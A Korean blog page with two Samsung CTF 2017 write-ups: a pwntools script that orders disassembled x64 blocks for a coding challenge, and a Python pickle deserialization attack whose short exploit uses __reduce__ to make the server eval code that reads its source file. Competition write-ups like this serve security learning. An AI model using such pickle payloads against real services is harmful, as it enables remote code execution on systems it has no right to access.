'SCTF'에 해당되는 글 2건
- 2017.07.23 [Samsung CTF_2017] Buildingblocks(Coding)
- 2017.07.23 [Samsung CTF_2017] Readflag(Attack)
## Samsung CTF_2017(Buildingblocks, Coding)
[Summary]
1. 어셈블리 블럭들의 조각을 던져줌.
2. 이 어셈블리 블럭들의 조각을 Segmentation Fault가 나지 않도록 순서만 맞춰주면 됨.
3. 각 블럭별로 eax레지스터가 비교값과, 연산을 끝낸 값을 구할 수 있음.
4. 구한 eax값과 다음 블럭의 비교값과 비교해 같으면 이어붙이면 됨.(이 조건일 때 seg fault가 안남.)
[Analysis]
[그림 1] Buildingblocks 문제
이 문제는 코딩을 해서 어셈블리 블럭을 완성시키면 플래그를 주는 문제였다. 위 문제서버로 접속하면 아래
[그림 2]와 같이 주어지는 Base64로 인코딩된 문자열들은 x64머신에서 돌아가는 코드이며 각각의 블럭들을
잘 이어붙여 실행했을 때 Segmentation Fault가 뜨지 않도록 하는 가장 긴 코드를 만든 후 바이트 코드를
sha256 hexsum을 서버에 보내달라고 한다.(총 10개의 스테이지가 있다.)
[그림 2] 문제 서비스 분석
그래서 위 base64로 인코딩된 문자열들을 하나하나 디코딩해 바이트 코드로 만든 후 pwntool 모듈을 이용해
어셈블리어로 변환하면 아래 [그림 3]과 같이 여러 개의 코드 뭉치로 나타난다.
[그림 3] 11개의 코드 뭉치 중 일부
위 [그림 3]을 보면 여러 개의 코드 뭉치들 중 일부를 나타낸 것인데 11개의 코드 뭉치가 위 [그림 3]의
아래와 같이 cmp문으로 시작하지 않고 eax에 값을 지정하는 유형의 코드뭉치 하나가 있고, 나머지는 전부
위 코드뭉치와 같은 유형이다.
이제 이 코드뭉치들이 Segmentation Fault 가 나지 않도록 이어 붙이기 위해서는 cmp문 바로 아래 je로
절대로 점프해서는 안된다. 따라서 각각의 코드 뭉치들의 비교 값과 각각의 코드뭉치에서 최종적으로 나오는
eax의 값을 비교하여 같은 것을 이어 붙여야 한다. 따라서 아래 [그림 4]와 같이 각 코드뭉치에 대해
[비교값, 최종 eax 값]만 나타내어 보면 아래 [그림 4]와 같다.
[그림 4] 코드뭉치 단순화
위 리스트를 보고 eax값과 cmp 비교 값이 같은 것끼리 이어 붙이는데 앞서 설명한 cmp문으로 시작하지
않는 유형은 무조건 코드뭉치의 제일 앞이므로 여기서부터 eax값과 비교문이 같은 0번째가 바로 뒤를 잇고
그 다음이 4번째... 이렇게 쭉 가면 [그림 4]의 아래에 나오는 리스트처럼 코드블럭의 순번을 알 수 있고
이를 바이트 코드로 이어붙여 sha256한 값을 서버에 보내는 과정을 stage10까지 반복하면 아래 [그림 5]와
같이 플래그를 확인할 수 있다.
[Exploit Code] - buildingblocks_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 | from pwn import * from pwnlib import asm import base64 import StringIO #import hexdump context(arch='amd64',os='linux') #local=True local=False if local: p = process("./xxxx") else: p = remote("buildingblocks.eatpwnnosleep.com", 46115) raw_input() byte_code = "" byte_code_tmp = [] disasm_str = [] disasm_str_tmp = [] def init_var(): global byte_code, byte_code_tmp, disasm_str, disasm_str_tmp byte_code = "" byte_code_tmp = [] disasm_str = [] disasm_str_tmp = [] def calc_eax(disasm_str_offset): eax = 0; edx = 0 for i in xrange(4, len(disasm_str[disasm_str_offset])): #print disasm_str[disasm_str_offset][i] if disasm_str[disasm_str_offset][i].find("mov") != -1: pos = disasm_str[disasm_str_offset][i].find(",") if disasm_str[disasm_str_offset][i].find("eax") != -1: eax = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("edx") != -1: edx = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("rax") != -1: eax = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffffffffffff else: edx = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffffffffffff elif disasm_str[disasm_str_offset][i].find("add") != -1: pos = disasm_str[disasm_str_offset][i].find(",") if disasm_str[disasm_str_offset][i].find("eax") != -1: eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff else: edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("sub") != -1: pos = disasm_str[disasm_str_offset][i].find(",") if disasm_str[disasm_str_offset][i].find("eax") != -1: eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff else: edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("mul") != -1: if disasm_str[disasm_str_offset][i].find("edx") != -1: mul_eax_edx = eax*edx eax = mul_eax_edx & 0x00000000ffffffff edx = (mul_eax_edx & 0xffffffff00000000) >> 32 else: print "[+] to be implement" return eax def first_calc_eax(disasm_str_offset): for i in xrange(len(disasm_str[disasm_str_offset])): #print disasm_str[disasm_str_offset][i] if disasm_str[disasm_str_offset][i].find("mov") != -1: pos = disasm_str[disasm_str_offset][i].find(",") if disasm_str[disasm_str_offset][i].find("eax") != -1: eax = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("edx") != -1: edx = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("rax") != -1: eax = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffffffffffff else: edx = int(disasm_str[disasm_str_offset][i][pos+1:],16) & 0xffffffffffffffff elif disasm_str[disasm_str_offset][i].find("add") != -1: pos = disasm_str[disasm_str_offset][i].find(",") if disasm_str[disasm_str_offset][i].find("eax") != -1: eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff else: edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("sub") != -1: pos = disasm_str[disasm_str_offset][i].find(",") if disasm_str[disasm_str_offset][i].find("eax") != -1: eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff else: edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff elif disasm_str[disasm_str_offset][i].find("mul") != -1: if disasm_str[disasm_str_offset][i].find("edx") != -1: mul_eax_edx = eax*edx eax = mul_eax_edx & 0x00000000ffffffff edx = (mul_eax_edx & 0xffffffff00000000) >> 32 else: print "[+] to be implement" return eax if __name__ == '__main__': for stage in xrange(10): init_var() print p.recvuntil(')\n') data = p.recvuntil(']'); print data pos = data.find("'") while pos != -1: pos = data.find("'") data = data[pos+1:] pos = data.find("'") tmp = data[:pos]; print "wjdebug : "+tmp byte_code_tmp.append(base64.b64decode(tmp)) data = data[pos+1:] for i in xrange(len(byte_code_tmp)-1): print "##### wjdebug #####" disas_tmp = disasm(byte_code_tmp[i], arch='amd64', os='linux'); print disas_tmp print "###################" linenum = disas_tmp.count('\n') disasm_str_tmp = disas_tmp.split('\n',linenum) for j in xrange(len(disasm_str_tmp)): disasm_str_tmp[j] = disasm_str_tmp[j][32:] disasm_str.append(disasm_str_tmp) first_offset = -1; final_eax = 0 for i in xrange(len(disasm_str)): if disasm_str[i][0].find("cmp") == -1: first_offset = i if disasm_str[i][len(disasm_str[i])-1].find("syscall") != -1: pos = disasm_str[i][0].find(",") final_eax = int(disasm_str[i][0][pos+1:],16) simple_block = []; for i in xrange(len(disasm_str)): if disasm_str[i][0].find("cmp") == -1: simple_block_tmp = [] simple_block_tmp.append(-1) simple_block_tmp.append(first_calc_eax(i)) simple_block.append(simple_block_tmp) else: simple_block_tmp = [] pos = disasm_str[i][0].find(",") simple_block_tmp.append(int(disasm_str[i][0][pos+1:],16)) simple_block_tmp.append(calc_eax(i)) simple_block.append(simple_block_tmp) for i in xrange(len(simple_block)): print "["+hex(simple_block[i][0])+","+hex(simple_block[i][1])+"]" block_order = [first_offset] cur_eax = simple_block[first_offset][1] while cur_eax != 0x3c: for i in xrange(len(simple_block)): cmp_eax = simple_block[i][0] if cur_eax == cmp_eax: block_order.append(i) cur_eax = simple_block[i][1] break print block_order byte_code = "" for i in xrange(len(block_order)): byte_code += byte_code_tmp[block_order[i]] #print disasm(byte_code, arch='amd64', os='linux'); sha256_answer = hashlib.sha256(byte_code).hexdigest() print p.recvuntil('(code bytes): ') p.send(sha256_answer+'\n') p.interactive() # ref1) http://docs.pwntools.com/en/stable/asm.html # ref2) https://stackoverflow.com/questions/7472839/python-readline-from-a-string # ref3) https://dongyeopblog.wordpress.com/2016/06/24/python-%EB%AC%B8%EC%9E%90%EC%97%B4%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95%EB%AC%B8%EC%9E%90-%EC%B9%B4%EC%9A%B4%ED%8A%B8%ED%95%98%EB%8A%94%EB%B2%95/ # ref4) https://stackoverflow.com/questions/26538588/how-to-sha256-hash-a-variable-in-python | cs |
[Get Flag~~!!!!]
[그림 5] flag 확인
끝~!
'CTF writeup' 카테고리의 다른 글
[Tokyo Westerns CTF_2017] swap(pwnable) (0) | 2017.09.13 |
---|---|
[Samsung CTF_2017] Easyhaskell(reversing) (0) | 2017.07.23 |
[Samsung CTF_2017] dfa(Defense) (0) | 2017.07.23 |
[Samsung CTF_2017] Readflag(Attack) (0) | 2017.07.23 |
[Secuinside CTF_2017] snake(reversing) (0) | 2017.07.22 |
## Samsung CTF_2017(Readflag, Attack)
[Summary]
1. Python Pickle 취약점을 이용
2. __reduce__ method의 return으로 지정되는 함수 (RCE가능)
[Analysis]
Readflag문제는 이전에 Plaid CTF에서도 나왔던 문제였던 Python의 Pickle 취약점을 이용하는 문제였다.
Pickle이라는 것은 파이썬에서 사용하는 각 객체나 변수, 리스트 등을 파일에다가 쓸 수도 있는 유용한 모듈인데
class를 dump한 후 load를 할 때 해당 클래스의 __reduce__ method의 return으로 지정되는 함수를 실행하는
임의 코드 실행 취약점이 발생한다.
이 취약점을 이용하려면 아래 exploit 코드와 같이 클래스를 하나 만들고 내부에 __reduce__ 함수를 만들고
return으로 원하는 메서드와 인자를 구성한 후 서버로 보내면 끝이다.
실제로 아래 exploit 코드를 보내면 실제로 서버에 있는 "test.py"를 open()하여 read()를 하고 출력해주게
되는데(eval함수를 이용해서) 처음에는 flag를 읽어보려 했으나 flag파일이 있는지도 모르고 파일이름을
몰라서 문제를 풀던 중 아래 [그림 1]와 같이 뜨는 에러 문구 중 서버의 test.py라는 파일이 서버 프로그램으로
돌고 있다는 것을 파악하였고, 그 파일을 읽어보았다. 그리고 그 파일 내부에 아래 [그림 2]과 같이 플래그가 있었다.
[그림 1] "test.py" 존재 유무 확인
[Exploit Code] - readflag_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 | from pickle import * import __builtin__ import pprint import os import commands class exploit(object): def __reduce__(self): p = "open('test.py').read()" return (__builtin__.eval,(p,)) print dumps(exploit())+'#' | cs |
[Get Flag~~!!!!]
[그림 2] test.py 파일 내 flag 확인
끝~!
'CTF writeup' 카테고리의 다른 글
[Samsung CTF_2017] Buildingblocks(Coding) (0) | 2017.07.23 |
---|---|
[Samsung CTF_2017] dfa(Defense) (0) | 2017.07.23 |
[Secuinside CTF_2017] snake(reversing) (0) | 2017.07.22 |
[Secuinside CTF_2017] TrippleRotate(reversing) (0) | 2017.07.22 |
[Secuinside CTF_2017] babyheap(pwn) (0) | 2017.07.20 |